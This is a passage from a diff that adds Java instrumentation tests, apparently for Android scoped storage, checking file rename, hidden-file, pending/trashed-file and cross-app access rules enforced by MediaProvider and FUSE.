+            denyAppOpsToUid(Process.myUid(), SYSTEM_GALERY_APPOPS);
+        }
+    }
+
+    /**
+     * Test that basic file path restrictions are enforced on file rename.
+     */
+    @Test
+    public void testRenameFile() throws Exception {
+        final File downloadDir = getDownloadDir();
+        final File nonMediaDir = new File(downloadDir, TEST_DIRECTORY_NAME);
+        final File pdfFile1 = new File(downloadDir, NONMEDIA_FILE_NAME);
+        final File pdfFile2 = new File(nonMediaDir, NONMEDIA_FILE_NAME);
+        final File videoFile1 = new File(getDcimDir(), VIDEO_FILE_NAME);
+        final File videoFile2 = new File(getMoviesDir(), VIDEO_FILE_NAME);
+        final File videoFile3 = new File(downloadDir, VIDEO_FILE_NAME);
+
+        try {
+            // Renaming non media file to media directory is not allowed.
+            assertThat(pdfFile1.createNewFile()).isTrue();
+            assertCantRenameFile(pdfFile1, new File(getDcimDir(), NONMEDIA_FILE_NAME));
+            assertCantRenameFile(pdfFile1, new File(getMusicDir(), NONMEDIA_FILE_NAME));
+            assertCantRenameFile(pdfFile1, new File(getMoviesDir(), NONMEDIA_FILE_NAME));
+
+            // Renaming non media files to non media directories is allowed.
+            if (!nonMediaDir.exists()) {
+                assertThat(nonMediaDir.mkdirs()).isTrue();
+            }
+            // App can rename pdfFile to non media directory.
+            assertCanRenameFile(pdfFile1, pdfFile2);
+
+            assertThat(videoFile1.createNewFile()).isTrue();
+            // App can rename video file to Movies directory
+            assertCanRenameFile(videoFile1, videoFile2);
+            // App can rename video file to Download directory
+            assertCanRenameFile(videoFile2, videoFile3);
+        } finally {
+            pdfFile1.delete();
+            pdfFile2.delete();
+            videoFile1.delete();
+            videoFile2.delete();
+            videoFile3.delete();
+            nonMediaDir.delete();
+        }
+    }
+
+    /**
+     * Test that renaming file to different mime type is allowed.
+     */
+    @Test
+    public void testRenameFileType() throws Exception {
+        final File pdfFile = new File(getDownloadDir(), NONMEDIA_FILE_NAME);
+        final File videoFile = new File(getDcimDir(), VIDEO_FILE_NAME);
+        try {
+            assertThat(pdfFile.createNewFile()).isTrue();
+            assertThat(videoFile.exists()).isFalse();
+            // Moving pdfFile to DCIM directory is not allowed.
+            assertCantRenameFile(pdfFile, new File(getDcimDir(), NONMEDIA_FILE_NAME));
+            // However, moving pdfFile to DCIM directory with changing the mime type to video is
+            // allowed.
+            assertCanRenameFile(pdfFile, videoFile);
+
+            // On rename, MediaProvider database entry for pdfFile should be updated with new
+            // videoFile path and mime type should be updated to video/mp4.
+            assertThat(getFileMimeTypeFromDatabase(videoFile)).isEqualTo("video/mp4");
+        } finally {
+            pdfFile.delete();
+            videoFile.delete();
+        }
+    }
+
+    /**
+     * Test that renaming files overwrites files in newPath.
+     */
+    @Test
+    public void testRenameAndReplaceFile() throws Exception {
+        final File videoFile1 = new File(getDcimDir(), VIDEO_FILE_NAME);
+        final File videoFile2 = new File(getMoviesDir(), VIDEO_FILE_NAME);
+        final ContentResolver cr = getContentResolver();
+        try {
+            assertThat(videoFile1.createNewFile()).isTrue();
+            assertThat(videoFile2.createNewFile()).isTrue();
+            final Uri uriVideoFile1 = MediaStore.scanFile(cr, videoFile1);
+            final Uri uriVideoFile2 = MediaStore.scanFile(cr, videoFile2);
+
+            // Renaming a file which replaces file in newPath videoFile2 is allowed.
+            assertCanRenameFile(videoFile1, videoFile2);
+
+            // Uri of videoFile2 should be accessible after rename.
+            assertThat(cr.openFileDescriptor(uriVideoFile2, "rw")).isNotNull();
+            // Uri of videoFile1 should not be accessible after rename.
+            assertThrows(FileNotFoundException.class,
+                    () -> {
+                        cr.openFileDescriptor(uriVideoFile1, "rw");
+                    });
+        } finally {
+            videoFile1.delete();
+            videoFile2.delete();
+        }
+    }
+
+    /**
+     * Test that ScanFile() after renaming file extension updates the right
+     * MIME type from the file metadata.
+     */
+    @Test
+    public void testScanUpdatesMimeTypeForRenameFileExtension() throws Exception {
+        final String audioFileName = "ScopedStorageDeviceTest_" + NONCE;
+        final File mpegFile = new File(getMusicDir(), audioFileName + ".mp3");
+        final File nonMpegFile = new File(getMusicDir(), audioFileName + ".snd");
+        try {
+            // Copy audio content to mpegFile
+            try (InputStream in =
+                         getContext().getResources().openRawResource(R.raw.test_audio);
+                 FileOutputStream out = new FileOutputStream(mpegFile)) {
+                FileUtils.copy(in, out);
+                out.getFD().sync();
+            }
+            assertThat(MediaStore.scanFile(getContentResolver(), mpegFile)).isNotNull();
+            assertThat(getFileMimeTypeFromDatabase(mpegFile)).isEqualTo("audio/mpeg");
+
+            // This rename changes MIME type from audio/mpeg to audio/basic
+            assertCanRenameFile(mpegFile, nonMpegFile);
+            assertThat(getFileMimeTypeFromDatabase(nonMpegFile)).isNotEqualTo("audio/mpeg");
+
+            assertThat(MediaStore.scanFile(getContentResolver(), nonMpegFile)).isNotNull();
+            // Above scan should read file metadata and update the MIME type to audio/mpeg
+            assertThat(getFileMimeTypeFromDatabase(nonMpegFile)).isEqualTo("audio/mpeg");
+        } finally {
+            mpegFile.delete();
+            nonMpegFile.delete();
+        }
+    }
+
+    /**
+     * Test that app without write permission for file can't update the file.
+     */
+    @Test
+    public void testRenameFileNotOwned() throws Exception {
+        final File videoFile1 = new File(getDcimDir(), VIDEO_FILE_NAME);
+        final File videoFile2 = new File(getMoviesDir(), VIDEO_FILE_NAME);
+        try {
+            assertThat(createFileAs(APP_B_NO_PERMS, videoFile1.getAbsolutePath())).isTrue();
+            // App can't rename a file owned by APP B.
+            assertCantRenameFile(videoFile1, videoFile2);
+
+            assertThat(videoFile2.createNewFile()).isTrue();
+            // App can't rename a file to videoFile1 which is owned by APP B.
+            assertCantRenameFile(videoFile2, videoFile1);
+            // TODO(b/146346138): Test that app with right URI permission should be able to rename
+            // the corresponding file
+        } finally {
+            deleteFileAsNoThrow(APP_B_NO_PERMS, videoFile1.getAbsolutePath());
+            videoFile2.delete();
+        }
+    }
+
+    /**
+     * Test that renaming directories is allowed and aligns to default directory restrictions.
+     */
+    @Test
+    public void testRenameDirectory() throws Exception {
+        final File dcimDir = getDcimDir();
+        final File downloadDir = getDownloadDir();
+        final String nonMediaDirectoryName = TEST_DIRECTORY_NAME + "NonMedia";
+        final File nonMediaDirectory = new File(downloadDir, nonMediaDirectoryName);
+        final File pdfFile = new File(nonMediaDirectory, NONMEDIA_FILE_NAME);
+
+        final String mediaDirectoryName = TEST_DIRECTORY_NAME + "Media";
+        final File mediaDirectory1 = new File(dcimDir, mediaDirectoryName);
+        final File videoFile1 = new File(mediaDirectory1, VIDEO_FILE_NAME);
+        final File mediaDirectory2 = new File(downloadDir, mediaDirectoryName);
+        final File videoFile2 = new File(mediaDirectory2, VIDEO_FILE_NAME);
+        final File mediaDirectory3 = new File(getMoviesDir(), TEST_DIRECTORY_NAME);
+        final File videoFile3 = new File(mediaDirectory3, VIDEO_FILE_NAME);
+        final File mediaDirectory4 = new File(mediaDirectory3, mediaDirectoryName);
+
+        try {
+            if (!nonMediaDirectory.exists()) {
+                assertThat(nonMediaDirectory.mkdirs()).isTrue();
+            }
+            assertThat(pdfFile.createNewFile()).isTrue();
+            // Move directory with pdf file to DCIM directory is not allowed.
+            assertThat(nonMediaDirectory.renameTo(new File(dcimDir, nonMediaDirectoryName)))
+                    .isFalse();
+
+            if (!mediaDirectory1.exists()) {
+                assertThat(mediaDirectory1.mkdirs()).isTrue();
+            }
+            assertThat(videoFile1.createNewFile()).isTrue();
+            // Renaming to and from default directories is not allowed.
+            assertThat(mediaDirectory1.renameTo(dcimDir)).isFalse();
+            // Moving top level default directories is not allowed.
+            assertCantRenameDirectory(downloadDir, new File(dcimDir, TEST_DIRECTORY_NAME), null);
+
+            // Moving media directory to Download directory is allowed.
+            assertCanRenameDirectory(mediaDirectory1, mediaDirectory2, new File[] {videoFile1},
+                    new File[] {videoFile2});
+
+            // Moving media directory to Movies directory and renaming directory in new path is
+            // allowed.
+            assertCanRenameDirectory(mediaDirectory2, mediaDirectory3, new File[] {videoFile2},
+                    new File[] {videoFile3});
+
+            // Can't rename a mediaDirectory to non empty non Media directory.
+            assertCantRenameDirectory(mediaDirectory3, nonMediaDirectory, new File[] {videoFile3});
+            // Can't rename a file to a directory.
+            assertCantRenameFile(videoFile3, mediaDirectory3);
+            // Can't rename a directory to file.
+            assertCantRenameDirectory(mediaDirectory3, pdfFile, null);
+            if (!mediaDirectory4.exists()) {
+                assertThat(mediaDirectory4.mkdir()).isTrue();
+            }
+            // Can't rename a directory to subdirectory of itself.
+            assertCantRenameDirectory(mediaDirectory3, mediaDirectory4, new File[] {videoFile3});
+
+        } finally {
+            pdfFile.delete();
+            nonMediaDirectory.delete();
+
+            videoFile1.delete();
+            videoFile2.delete();
+            videoFile3.delete();
+            mediaDirectory1.delete();
+            mediaDirectory2.delete();
+            mediaDirectory3.delete();
+            mediaDirectory4.delete();
+        }
+    }
+
+    /**
+     * Test that renaming directory checks file ownership permissions.
+     */
+    @Test
+    public void testRenameDirectoryNotOwned() throws Exception {
+        final String mediaDirectoryName = TEST_DIRECTORY_NAME + "Media";
+        File mediaDirectory1 = new File(getDcimDir(), mediaDirectoryName);
+        File mediaDirectory2 = new File(getMoviesDir(), mediaDirectoryName);
+        File videoFile = new File(mediaDirectory1, VIDEO_FILE_NAME);
+
+        try {
+            if (!mediaDirectory1.exists()) {
+                assertThat(mediaDirectory1.mkdirs()).isTrue();
+            }
+            assertThat(createFileAs(APP_B_NO_PERMS, videoFile.getAbsolutePath())).isTrue();
+            // App doesn't have access to videoFile1, can't rename mediaDirectory1.
+            assertThat(mediaDirectory1.renameTo(mediaDirectory2)).isFalse();
+            assertThat(videoFile.exists()).isTrue();
+            // Test app can delete the file since the file is not moved to new directory.
+            assertThat(deleteFileAs(APP_B_NO_PERMS, videoFile.getAbsolutePath())).isTrue();
+        } finally {
+            deleteFileAsNoThrow(APP_B_NO_PERMS, videoFile.getAbsolutePath());
+            mediaDirectory1.delete();
+        }
+    }
+
+    /**
+     * Test renaming empty directory is allowed
+     */
+    @Test
+    public void testRenameEmptyDirectory() throws Exception {
+        final String emptyDirectoryName = TEST_DIRECTORY_NAME + "Media";
+        File emptyDirectoryOldPath = new File(getDcimDir(), emptyDirectoryName);
+        File emptyDirectoryNewPath = new File(getMoviesDir(), TEST_DIRECTORY_NAME + "23456");
+        try {
+            if (emptyDirectoryOldPath.exists()) {
+                executeShellCommand("rm -r " + emptyDirectoryOldPath.getPath());
+            }
+            assertThat(emptyDirectoryOldPath.mkdirs()).isTrue();
+            assertCanRenameDirectory(emptyDirectoryOldPath, emptyDirectoryNewPath, null, null);
+        } finally {
+            emptyDirectoryOldPath.delete();
+            emptyDirectoryNewPath.delete();
+        }
+    }
+
+    /**
+     * Test that apps can create and delete hidden file.
+     */
+    @Test
+    public void testCanCreateHiddenFile() throws Exception {
+        final File hiddenImageFile = new File(getDownloadDir(), ".hiddenFile" + IMAGE_FILE_NAME);
+        try {
+            assertThat(hiddenImageFile.createNewFile()).isTrue();
+            // Write to hidden file is allowed.
+            try (FileOutputStream fos = new FileOutputStream(hiddenImageFile)) {
+                fos.write(BYTES_DATA1);
+            }
+            assertFileContent(hiddenImageFile, BYTES_DATA1);
+
+            assertNotMediaTypeImage(hiddenImageFile);
+
+            assertDirectoryContains(getDownloadDir(), hiddenImageFile);
+            assertThat(getFileRowIdFromDatabase(hiddenImageFile)).isNotEqualTo(-1);
+
+            // We can delete hidden file
+            assertThat(hiddenImageFile.delete()).isTrue();
+            assertThat(hiddenImageFile.exists()).isFalse();
+        } finally {
+            hiddenImageFile.delete();
+        }
+    }
+
+    /**
+     * Test that FUSE upper-fs is consistent with lower-fs after the lower-fs fd is closed.
+     */
+    @Test
+    public void testInodeStatConsistency() throws Exception {
+        File file = new File(getDcimDir(), IMAGE_FILE_NAME);
+
+        try {
+            byte[] writeBuffer = new byte[10];
+            Arrays.fill(writeBuffer, (byte) 1);
+
+            assertThat(file.createNewFile()).isTrue();
+            // Scanning a file is essential as files created via filepath will be marked
+            // as isPending, and we do not set listener for pending files as it can lead to
+            // performance overhead. See: I34611f0ee897dc676e7653beb7943aa6de58c55a.
+            MediaStore.scanFile(getContentResolver(), file);
+
+            // File operation #1 (to lower-fs)
+            ParcelFileDescriptor writePfd = openWithMediaProvider(file, "rw");
+
+            // File operation #2 (to fuse). This caches the inode for the file.
+            file.exists();
+
+            // Write bytes directly to lower-fs
+            Os.pwrite(writePfd.getFileDescriptor(), writeBuffer, 0, 10, 0);
+
+            // Close should invalidate inode cache for this file.
+            writePfd.close();
+            Thread.sleep(1000);
+
+            long fuseFileSize = file.length();
+            assertThat(writeBuffer.length).isEqualTo(fuseFileSize);
+        } finally {
+            file.delete();
+        }
+    }
+
+    /**
+     * Test that apps can rename a hidden file.
+     */
+    @Test
+    public void testCanRenameHiddenFile() throws Exception {
+        final String hiddenFileName = ".hidden" + IMAGE_FILE_NAME;
+        final File hiddenImageFile1 = new File(getDcimDir(), hiddenFileName);
+        final File hiddenImageFile2 = new File(getDownloadDir(), hiddenFileName);
+        final File imageFile = new File(getDownloadDir(), IMAGE_FILE_NAME);
+        try {
+            assertThat(hiddenImageFile1.createNewFile()).isTrue();
+            assertCanRenameFile(hiddenImageFile1, hiddenImageFile2);
+            assertNotMediaTypeImage(hiddenImageFile2);
+
+            // We can also rename hidden file to non-hidden
+            assertCanRenameFile(hiddenImageFile2, imageFile);
+            assertIsMediaTypeImage(imageFile);
+
+            // We can rename non-hidden file to hidden
+            assertCanRenameFile(imageFile, hiddenImageFile1);
+            assertNotMediaTypeImage(hiddenImageFile1);
+        } finally {
+            hiddenImageFile1.delete();
+            hiddenImageFile2.delete();
+            imageFile.delete();
+        }
+    }
+
+    /**
+     * Test that files in hidden directory have MEDIA_TYPE=MEDIA_TYPE_NONE
+     */
+    @Test
+    public void testHiddenDirectory() throws Exception {
+        final File hiddenDir = new File(getDownloadDir(), ".hidden" + TEST_DIRECTORY_NAME);
+        final File hiddenImageFile = new File(hiddenDir, IMAGE_FILE_NAME);
+        final File nonHiddenDir = new File(getDownloadDir(), TEST_DIRECTORY_NAME);
+        final File imageFile = new File(nonHiddenDir, IMAGE_FILE_NAME);
+        try {
+            if (!hiddenDir.exists()) {
+                assertThat(hiddenDir.mkdir()).isTrue();
+            }
+            assertThat(hiddenImageFile.createNewFile()).isTrue();
+
+            assertNotMediaTypeImage(hiddenImageFile);
+
+            // Renaming hiddenDir to nonHiddenDir makes the imageFile non-hidden and vice versa
+            assertCanRenameDirectory(
+                    hiddenDir, nonHiddenDir, new File[] {hiddenImageFile}, new File[] {imageFile});
+            assertIsMediaTypeImage(imageFile);
+
+            assertCanRenameDirectory(
+                    nonHiddenDir, hiddenDir, new File[] {imageFile}, new File[] {hiddenImageFile});
+            assertNotMediaTypeImage(hiddenImageFile);
+        } finally {
+            hiddenImageFile.delete();
+            imageFile.delete();
+            hiddenDir.delete();
+            nonHiddenDir.delete();
+        }
+    }
+
+    /**
+     * Test that files in directory with nomedia have MEDIA_TYPE=MEDIA_TYPE_NONE
+     */
+    @Test
+    public void testHiddenDirectory_nomedia() throws Exception {
+        final File directoryNoMedia = new File(getDownloadDir(), "nomedia" + TEST_DIRECTORY_NAME);
+        final File noMediaFile = new File(directoryNoMedia, ".nomedia");
+        final File imageFile = new File(directoryNoMedia, IMAGE_FILE_NAME);
+        final File videoFile = new File(directoryNoMedia, VIDEO_FILE_NAME);
+        try {
+            if (!directoryNoMedia.exists()) {
+                assertThat(directoryNoMedia.mkdir()).isTrue();
+            }
+            assertThat(noMediaFile.createNewFile()).isTrue();
+            assertThat(imageFile.createNewFile()).isTrue();
+
+            assertNotMediaTypeImage(imageFile);
+
+            // Deleting the .nomedia file makes the parent directory non hidden.
+            noMediaFile.delete();
+            MediaStore.scanFile(getContentResolver(), directoryNoMedia);
+            assertIsMediaTypeImage(imageFile);
+
+            // Creating the .nomedia file makes the parent directory hidden again
+            assertThat(noMediaFile.createNewFile()).isTrue();
+            MediaStore.scanFile(getContentResolver(), directoryNoMedia);
+            assertNotMediaTypeImage(imageFile);
+
+            // Renaming the .nomedia file to non hidden file makes the parent directory non hidden.
+            assertCanRenameFile(noMediaFile, videoFile);
+            assertIsMediaTypeImage(imageFile);
+        } finally {
+            noMediaFile.delete();
+            imageFile.delete();
+            videoFile.delete();
+            directoryNoMedia.delete();
+        }
+    }
+
+    /**
+     * Test that only file manager and app that created the hidden file can list it.
+     */
+    @Test
+    public void testListHiddenFile() throws Exception {
+        final File dcimDir = getDcimDir();
+        final String hiddenImageFileName = ".hidden" + IMAGE_FILE_NAME;
+        final File hiddenImageFile = new File(dcimDir, hiddenImageFileName);
+        try {
+            assertThat(hiddenImageFile.createNewFile()).isTrue();
+            assertNotMediaTypeImage(hiddenImageFile);
+
+            assertDirectoryContains(dcimDir, hiddenImageFile);
+
+            // TestApp with read permissions can't see the hidden image file created by other app
+            assertThat(listAs(APP_A_HAS_RES, dcimDir.getAbsolutePath()))
+                    .doesNotContain(hiddenImageFileName);
+
+            // But file manager can
+            assertThat(listAs(APP_FM, dcimDir.getAbsolutePath()))
+                    .contains(hiddenImageFileName);
+
+            // Gallery cannot see the hidden image file created by other app
+            final int resAppUid =
+                    getContext().getPackageManager().getPackageUid(APP_A_HAS_RES.getPackageName(),
+                            0);
+            try {
+                allowAppOpsToUid(resAppUid, SYSTEM_GALERY_APPOPS);
+                assertThat(listAs(APP_A_HAS_RES, dcimDir.getAbsolutePath()))
+                        .doesNotContain(hiddenImageFileName);
+            } finally {
+                denyAppOpsToUid(resAppUid, SYSTEM_GALERY_APPOPS);
+            }
+        } finally {
+            hiddenImageFile.delete();
+        }
+    }
+
+    @Test
+    public void testOpenPendingAndTrashed() throws Exception {
+        final File pendingImageFile = new File(getDcimDir(), IMAGE_FILE_NAME);
+        final File trashedVideoFile = new File(getPicturesDir(), VIDEO_FILE_NAME);
+        final File pendingPdfFile = new File(getDocumentsDir(), NONMEDIA_FILE_NAME);
+        final File trashedPdfFile = new File(getDownloadDir(), NONMEDIA_FILE_NAME);
+        Uri pendingImgaeFileUri = null;
+        Uri trashedVideoFileUri = null;
+        Uri pendingPdfFileUri = null;
+        Uri trashedPdfFileUri = null;
+        try {
+            pendingImgaeFileUri = createPendingFile(pendingImageFile);
+            assertOpenPendingOrTrashed(pendingImgaeFileUri, /*isImageOrVideo*/ true);
+
+            pendingPdfFileUri = createPendingFile(pendingPdfFile);
+            assertOpenPendingOrTrashed(pendingPdfFileUri, /*isImageOrVideo*/ false);
+
+            trashedVideoFileUri = createTrashedFile(trashedVideoFile);
+            assertOpenPendingOrTrashed(trashedVideoFileUri, /*isImageOrVideo*/ true);
+
+            trashedPdfFileUri = createTrashedFile(trashedPdfFile);
+            assertOpenPendingOrTrashed(trashedPdfFileUri, /*isImageOrVideo*/ false);
+
+        } finally {
+            deleteFiles(pendingImageFile, pendingImageFile, trashedVideoFile,
+                    trashedPdfFile);
+            deleteWithMediaProviderNoThrow(pendingImgaeFileUri, trashedVideoFileUri,
+                    pendingPdfFileUri, trashedPdfFileUri);
+        }
+    }
+
+    @Test
+    public void testListPendingAndTrashed() throws Exception {
+        final File imageFile = new File(getDcimDir(), IMAGE_FILE_NAME);
+        final File pdfFile = new File(getDownloadDir(), NONMEDIA_FILE_NAME);
+        Uri imageFileUri = null;
+        Uri pdfFileUri = null;
+        try {
+            imageFileUri = createPendingFile(imageFile);
+            // Check that only owner package, file manager and system gallery can list pending image
+            // file.
+            assertListPendingOrTrashed(imageFileUri, imageFile, /*isImageOrVideo*/ true);
+
+            trashFile(imageFileUri);
+            // Check that only owner package, file manager and system gallery can list trashed image
+            // file.
+            assertListPendingOrTrashed(imageFileUri, imageFile, /*isImageOrVideo*/ true);
+
+            pdfFileUri = createPendingFile(pdfFile);
+            // Check that only owner package, file manager can list pending non media file.
+            assertListPendingOrTrashed(pdfFileUri, pdfFile, /*isImageOrVideo*/ false);
+
+            trashFile(pdfFileUri);
+            // Check that only owner package, file manager can list trashed non media file.
+            assertListPendingOrTrashed(pdfFileUri, pdfFile, /*isImageOrVideo*/ false);
+        } finally {
+            deleteWithMediaProviderNoThrow(imageFileUri, pdfFileUri);
+            deleteFiles(imageFile, pdfFile);
+        }
+    }
+
+    @Test
+    public void testDeletePendingAndTrashed() throws Exception {
+        final File pendingVideoFile = new File(getDcimDir(), VIDEO_FILE_NAME);
+        final File trashedImageFile = new File(getPicturesDir(), IMAGE_FILE_NAME);
+        final File pendingPdfFile = new File(getDownloadDir(), NONMEDIA_FILE_NAME);
+        final File trashedPdfFile = new File(getDocumentsDir(), NONMEDIA_FILE_NAME);
+        // Actual path of the file gets rewritten for pending and trashed files.
+        String pendingVideoFilePath = null;
+        String trashedImageFilePath = null;
+        String pendingPdfFilePath = null;
+        String trashedPdfFilePath = null;
+        try {
+            pendingVideoFilePath = getFilePathFromUri(createPendingFile(pendingVideoFile));
+            trashedImageFilePath = getFilePathFromUri(createTrashedFile(trashedImageFile));
+            pendingPdfFilePath = getFilePathFromUri(createPendingFile(pendingPdfFile));
+            trashedPdfFilePath = getFilePathFromUri(createTrashedFile(trashedPdfFile));
+
+            // App can delete its own pending and trashed file.
+            assertCanDeletePaths(pendingVideoFilePath, trashedImageFilePath, pendingPdfFilePath,
+                    trashedPdfFilePath);
+
+            pendingVideoFilePath = getFilePathFromUri(createPendingFile(pendingVideoFile));
+            trashedImageFilePath = getFilePathFromUri(createTrashedFile(trashedImageFile));
+            pendingPdfFilePath = getFilePathFromUri(createPendingFile(pendingPdfFile));
+            trashedPdfFilePath = getFilePathFromUri(createTrashedFile(trashedPdfFile));
+
+            // App can't delete other app's pending and trashed file.
+            assertCantDeletePathsAs(APP_A_HAS_RES, pendingVideoFilePath, trashedImageFilePath,
+                    pendingPdfFilePath, trashedPdfFilePath);
+
+            // File Manager can delete any pending and trashed file
+            assertCanDeletePathsAs(APP_FM, pendingVideoFilePath, trashedImageFilePath,
+                    pendingPdfFilePath, trashedPdfFilePath);
+
+            pendingVideoFilePath = getFilePathFromUri(createPendingFile(pendingVideoFile));
+            trashedImageFilePath = getFilePathFromUri(createTrashedFile(trashedImageFile));
+            pendingPdfFilePath = getFilePathFromUri(createPendingFile(pendingPdfFile));
+            trashedPdfFilePath = getFilePathFromUri(createTrashedFile(trashedPdfFile));
+
+            // System Gallery can delete any pending and trashed image or video file.
+            final int resAppUid =
+                    getContext().getPackageManager().getPackageUid(APP_A_HAS_RES.getPackageName(),
+                            0);
+            try {
+                allowAppOpsToUid(resAppUid, SYSTEM_GALERY_APPOPS);
+                assertTrue(isMediaTypeImageOrVideo(new File(pendingVideoFilePath)));
+                assertTrue(isMediaTypeImageOrVideo(new File(trashedImageFilePath)));
+                assertCanDeletePathsAs(APP_A_HAS_RES, pendingVideoFilePath, trashedImageFilePath);
+
+                // System Gallery can't delete other app's pending and trashed pdf file.
+                assertFalse(isMediaTypeImageOrVideo(new File(pendingPdfFilePath)));
+                assertFalse(isMediaTypeImageOrVideo(new File(trashedPdfFilePath)));
+                assertCantDeletePathsAs(APP_A_HAS_RES, pendingPdfFilePath, trashedPdfFilePath);
+            } finally {
+                denyAppOpsToUid(resAppUid, SYSTEM_GALERY_APPOPS);
+            }
+        } finally {
+            deletePaths(pendingVideoFilePath, trashedImageFilePath, pendingPdfFilePath,
+                    trashedPdfFilePath);
+            deleteFiles(pendingVideoFile, trashedImageFile, pendingPdfFile, trashedPdfFile);
+        }
+    }
+
+    @Test
+    public void testQueryOtherAppsFiles() throws Exception {
+        final File otherAppPdf = new File(getDownloadDir(), "other" + NONMEDIA_FILE_NAME);
+        final File otherAppImg = new File(getDcimDir(), "other" + IMAGE_FILE_NAME);
+        final File otherAppMusic = new File(getMusicDir(), "other" + AUDIO_FILE_NAME);
+        final File otherHiddenFile = new File(getPicturesDir(), ".otherHiddenFile.jpg");
+        try {
+            // Apps can't query other app's pending file, hence create file and publish it.
+            assertCreatePublishedFilesAs(
+                    APP_B_NO_PERMS, otherAppImg, otherAppMusic, otherAppPdf, otherHiddenFile);
+
+            // Since the test doesn't have READ_EXTERNAL_STORAGE nor any other special permissions,
+            // it can't query for another app's contents.
+            assertCantQueryFile(otherAppImg);
+            assertCantQueryFile(otherAppMusic);
+            assertCantQueryFile(otherAppPdf);
+            assertCantQueryFile(otherHiddenFile);
+        } finally {
+            deleteFilesAs(APP_B_NO_PERMS, otherAppImg, otherAppMusic, otherAppPdf, otherHiddenFile);
+        }
+    }
+
+    @Test
+    public void testSystemGalleryQueryOtherAppsFiles() throws Exception {
+        final File otherAppPdf = new File(getDownloadDir(), "other" + NONMEDIA_FILE_NAME);
+        final File otherAppImg = new File(getDcimDir(), "other" + IMAGE_FILE_NAME);
+        final File otherAppMusic = new File(getMusicDir(), "other" + AUDIO_FILE_NAME);
+        final File otherHiddenFile = new File(getPicturesDir(), ".otherHiddenFile.jpg");
+        try {
+            // Apps can't query other app's pending file, hence create file and publish it.
+            assertCreatePublishedFilesAs(
+                    APP_B_NO_PERMS, otherAppImg, otherAppMusic, otherAppPdf, otherHiddenFile);
+
+            // System gallery apps have access to video and image files
+            allowAppOpsToUid(Process.myUid(), SYSTEM_GALERY_APPOPS);
+
+            assertCanQueryAndOpenFile(otherAppImg, "rw");
+            // System gallery doesn't have access to hidden image files of other app
+            assertCantQueryFile(otherHiddenFile);
+            // But no access to PDFs or music files
+            assertCantQueryFile(otherAppMusic);
+            assertCantQueryFile(otherAppPdf);
+        } finally {
+            denyAppOpsToUid(Process.myUid(), SYSTEM_GALERY_APPOPS);
+            deleteFilesAs(APP_B_NO_PERMS, otherAppImg, otherAppMusic, otherAppPdf, otherHiddenFile);
+        }
+    }
+
+    /**
+     * Test that System Gallery app can rename any directory under the default directories
+     * designated for images and videos, even if they contain other apps' contents that
+     * System Gallery doesn't have read access to.
+     */
+    @Test
+    public void testSystemGalleryCanRenameImageAndVideoDirs() throws Exception {
+        final File dirInDcim = new File(getDcimDir(), TEST_DIRECTORY_NAME);
+        final File dirInPictures = new File(getPicturesDir(), TEST_DIRECTORY_NAME);
+        final File dirInPodcasts = new File(getPodcastsDir(), TEST_DIRECTORY_NAME);
+        final File otherAppImageFile1 = new File(dirInDcim, "other_" + IMAGE_FILE_NAME);
+        final File otherAppVideoFile1 = new File(dirInDcim, "other_" + VIDEO_FILE_NAME);
+        final File otherAppPdfFile1 = new File(dirInDcim, "other_" + NONMEDIA_FILE_NAME);
+        final File otherAppImageFile2 = new File(dirInPictures, "other_" + IMAGE_FILE_NAME);
+        final File otherAppVideoFile2 = new File(dirInPictures, "other_" + VIDEO_FILE_NAME);
+        final File otherAppPdfFile2 = new File(dirInPictures, "other_" + NONMEDIA_FILE_NAME);
+        try {
+            assertThat(dirInDcim.exists() || dirInDcim.mkdir()).isTrue();
+
+            executeShellCommand("touch " + otherAppPdfFile1);
+            MediaStore.scanFile(getContentResolver(), otherAppPdfFile1);
+
+            allowAppOpsToUid(Process.myUid(), SYSTEM_GALERY_APPOPS);
+
+            assertCreateFilesAs(APP_A_HAS_RES, otherAppImageFile1, otherAppVideoFile1);
+
+            // System gallery privileges don't go beyond DCIM, Movies and Pictures boundaries.
+            assertCantRenameDirectory(dirInDcim, dirInPodcasts, /*oldFilesList*/ null);
+
+            // Rename should succeed, but System Gallery still can't access that PDF file!
+            assertCanRenameDirectory(dirInDcim, dirInPictures,
+                    new File[] {otherAppImageFile1, otherAppVideoFile1},
+                    new File[] {otherAppImageFile2, otherAppVideoFile2});
+            assertThat(getFileRowIdFromDatabase(otherAppPdfFile1)).isEqualTo(-1);
+            assertThat(getFileRowIdFromDatabase(otherAppPdfFile2)).isEqualTo(-1);
+        } finally {
+            executeShellCommand("rm " + otherAppPdfFile1);
+            executeShellCommand("rm " + otherAppPdfFile2);
+            MediaStore.scanFile(getContentResolver(), otherAppPdfFile1);
+            MediaStore.scanFile(getContentResolver(), otherAppPdfFile2);
+            otherAppImageFile1.delete();
+            otherAppImageFile2.delete();
+            otherAppVideoFile1.delete();
+            otherAppVideoFile2.delete();
+            otherAppPdfFile1.delete();
+            otherAppPdfFile2.delete();
+            dirInDcim.delete();
+            dirInPictures.delete();
+            denyAppOpsToUid(Process.myUid(), SYSTEM_GALERY_APPOPS);
+        }
+    }
+
+    /**
+     * Test that row ID corresponding to deleted path is restored on subsequent create.
+     */
+    @Test
+    public void testCreateCanRestoreDeletedRowId() throws Exception {
+        final File imageFile = new File(getDcimDir(), IMAGE_FILE_NAME);
+        final ContentResolver cr = getContentResolver();
+
+        try {
+            assertThat(imageFile.createNewFile()).isTrue();
+            final long oldRowId = getFileRowIdFromDatabase(imageFile);
+            assertThat(oldRowId).isNotEqualTo(-1);
+            final Uri uriOfOldFile = MediaStore.scanFile(cr, imageFile);
+            assertThat(uriOfOldFile).isNotNull();
+
+            assertThat(imageFile.delete()).isTrue();
+            // We should restore old row Id corresponding to deleted imageFile.
+            assertThat(imageFile.createNewFile()).isTrue();
+            assertThat(getFileRowIdFromDatabase(imageFile)).isEqualTo(oldRowId);
+            assertThat(cr.openFileDescriptor(uriOfOldFile, "rw")).isNotNull();
+
+            assertThat(imageFile.delete()).isTrue();
+            assertThat(createFileAs(APP_B_NO_PERMS, imageFile.getAbsolutePath())).isTrue();
+
+            final Uri uriOfNewFile = MediaStore.scanFile(getContentResolver(), imageFile);
+            assertThat(uriOfNewFile).isNotNull();
+            // We shouldn't restore deleted row Id if delete & create are called from different apps
+            assertThat(Integer.getInteger(uriOfNewFile.getLastPathSegment()))
+                    .isNotEqualTo(oldRowId);
+        } finally {
+            imageFile.delete();
+            deleteFileAsNoThrow(APP_B_NO_PERMS, imageFile.getAbsolutePath());
+        }
+    }
+
+    /**
+     * Test that row ID corresponding to deleted path is restored on subsequent rename.
+     */
+    @Test
